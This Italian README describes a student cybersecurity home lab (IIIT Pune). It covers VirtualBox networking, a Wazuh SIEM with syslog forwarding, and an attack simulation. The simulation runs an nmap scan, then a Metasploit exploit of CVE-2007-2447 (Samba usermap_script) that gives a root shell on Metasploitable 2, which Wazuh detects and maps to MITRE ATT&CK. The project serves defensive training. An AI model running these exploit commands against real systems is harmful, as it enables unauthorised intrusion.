🛡️ Lab di Exploitation CVE-2007-2447 e Rilevamento SIEM (Wazuh + MITRE ATT&CK)

Progetto B.Tech (BTP) | IIIT Pune Basato su: "Designing and Implementing an Effective Cybersecurity Home Lab for Detection and Monitoring" — ICCCNT 2023, IIT Delhi

Un laboratorio domestico di cybersicurezza completamente funzionante, costruito su una singola macchina utilizzando strumenti gratuiti e open-source. Il laboratorio simula un ciclo di vita di attacco reale — Ricognizione → Exploitation → Rilevamento — e dimostra come un SIEM possa rilevare e mappare gli attacchi al framework MITRE ATT&CK in tempo reale.

📐 Architettura del Laboratorio

┌─────────────────────────────────────────────────┐
│           VirtualBox — Internal Network          │
│              (cyberlab, 10.0.0.x/24)             │
│                                                  │
│  ┌──────────┐   ┌──────────────┐   ┌──────────┐ │
│  │  Kali    │   │ Metasploitable│  │  Ubuntu  │ │
│  │ 10.0.0.1 │◄─►│   10.0.0.2   │◄─►│ 10.0.0.3 │ │
│  │ ATTACKER │   │    VICTIM     │  │   SIEM   │ │
│  └──────────┘   └──────────────┘   └──────────┘ │
└─────────────────────────────────────────────────┘
         Host-Only Adapter (192.168.56.103)
         → Wazuh Dashboard access from browser

🧰 Strumenti e Tecnologie

🔧 Guida alla Configurazione

Prerequisiti

• Una macchina con almeno 16 GB di RAM (tutte e 3 le VM vengono eseguite simultaneamente)
• VirtualBox 7.x installato
• ~50 GB di spazio libero su disco

Passaggio 1 — Configurazione della Rete in VirtualBox

Crea una rete interna denominata cyberlab in VirtualBox. Tutte e tre le VM ricevono questo adattatore. La VM Ubuntu/Wazuh riceve un adattatore Host-Only aggiuntivo così puoi accedere alla dashboard dal tuo browser.

Passaggio 2 — Kali Linux (Attaccante)

1. Scarica l'immagine VirtualBox di Kali Linux
2. Importala e assegna l'adattatore di rete interna cyberlab
3. Imposta un IP statico:

# Edit /etc/network/interfaces
auto eth0
iface eth0 inet static
    address 10.0.0.1
    netmask 255.255.255.0

4. Riavvia la rete: sudo systemctl restart networking

Passaggio 3 — Metasploitable 2 (Vittima)

1. Scarica Metasploitable 2
2. Importalo in VirtualBox e assegna la rete cyberlab
3. Imposta un IP statico:

# Edit /etc/network/interfaces
auto eth0
iface eth0 inet static
    address 10.0.0.2
    netmask 255.255.255.0

⚠️ Non esporre mai Metasploitable 2 a internet. È intenzionalmente insicuro.

Passaggio 4 — Ubuntu + Wazuh SIEM (Difensore)

1. Installa Ubuntu Server 22.04
2. Assegna due adattatori: cyberlab interno + Host-Only
3. Configura un IP statico tramite netplan (/etc/netplan/01-network-manager-all.yaml):

network:
  version: 2
  renderer: NetworkManager
  ethernets:
    enp0s3:
      addresses:
        - 10.0.0.3/24
    enp0s8:
      dhcp4: true

4. Installa Wazuh (nodo singolo):

curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh
sudo bash wazuh-install.sh -a

5. Accedi alla dashboard all'indirizzo: https://192.168.56.103 (dal browser dell'host)

Passaggio 5 — Collegare Metasploitable a Wazuh tramite Syslog

Poiché Metasploitable 2 non può eseguire un agente Wazuh, configura l'inoltro syslog per il monitoraggio senza agente:

Su Metasploitable, aggiungi a /etc/rsyslog.conf:

*.* @10.0.0.3:514

Su Wazuh (Ubuntu), abilita l'input syslog in /var/ossec/etc/ossec.conf:

<remote>
  <connection>syslog</connection>
  <port>514</port>
  <protocol>udp</protocol>
</remote>

Riavvia Wazuh: sudo systemctl restart wazuh-manager

⚔️ Simulazione dell'Attacco

Fase 1 — Ricognizione (Nmap)

# From Kali
nmap -sV -O 10.0.0.2

Principali servizi individuati su Metasploitable 2:

Sono state individuate oltre 20 porte aperte. OS identificato tramite fingerprinting: Linux 2.6.x

Fase 2 — Exploitation (Metasploit)

Vulnerabilità: CVE-2007-2447 — Command Injection Samba usermap_script

Consente l'esecuzione remota di codice non autenticata tramite richieste MS-RPC malformate su Samba 3.0.0–3.0.25rc3.

# From Kali — launch Metasploit
msfconsole

# Inside Metasploit
use exploit/multi/samba/usermap_script
set RHOSTS 10.0.0.2
set LHOST 10.0.0.1
run

# Verify root access
whoami
# Output: root

Fase 3 — Rilevamento (Wazuh SIEM)

Dopo l'exploit, Wazuh ha rilevato e mappato automaticamente gli eventi su MITRE ATT&CK:

Eventi totali rilevati: 55+

Accedi alla dashboard all'indirizzo https://192.168.56.103 → Security Events → MITRE ATT&CK

📊 Risultati Principali

• ✅ Replicato con successo l'intero ciclo di vita dell'attacco in un ambiente isolato
• ✅ CVE-2007-2447 ha permesso di ottenere una shell root non autenticata in pochi secondi
• ✅ Il SIEM Wazuh ha rilevato e mappato tutti gli attacchi su MITRE ATT&CK in tempo reale
• ✅ L'inoltro syslog ha abilitato il monitoraggio senza agente del sistema legacy Metasploitable
• ✅ L'intero laboratorio gira su una singola macchina host con 16 GB di RAM

📁 Struttura del Repository

cybersecurity-home-lab/
│
├── README.md                  ← You are here
├── network-config/
│   ├── kali-interfaces.txt    ← Kali static IP config
│   ├── metasploitable-interfaces.txt
│   └── ubuntu-netplan.yaml    ← Ubuntu/SIEM netplan config
├── wazuh-config/
│   └── ossec.conf             ← Wazuh syslog/agent config
├── screenshots/
│   ├── nmap-scan.png
│   ├── metasploit-exploit.png
│   ├── wazuh-dashboard.png
│   └── wazuh-alerts-table.png
└── report/
    └── ICCCNT_2023_paper.pdf  ← Reference research paper

🔗 Riferimento

Dadiyala, C. et al. (2023). Designing and Implementing an Effective Cybersecurity Home Lab for Detection and Monitoring. 14th International Conference on Computing, Communication and Networking Technologies (ICCCNT), IIT Delhi. IEEE-56998.

⚠️ Dichiarazione di Esclusione di Responsabilità

Questo laboratorio è costruito interamente su macchine virtuali isolate, senza accesso a internet durante le simulazioni di attacco. Tutti gli strumenti e le tecniche vengono utilizzati esclusivamente a scopo educativo in un ambiente controllato. Non tentare di replicare alcuna tecnica di attacco su sistemi che non possiedi o per i quali non hai ricevuto esplicita autorizzazione al test.

Presentato da Harshita Verma | IIIT Pune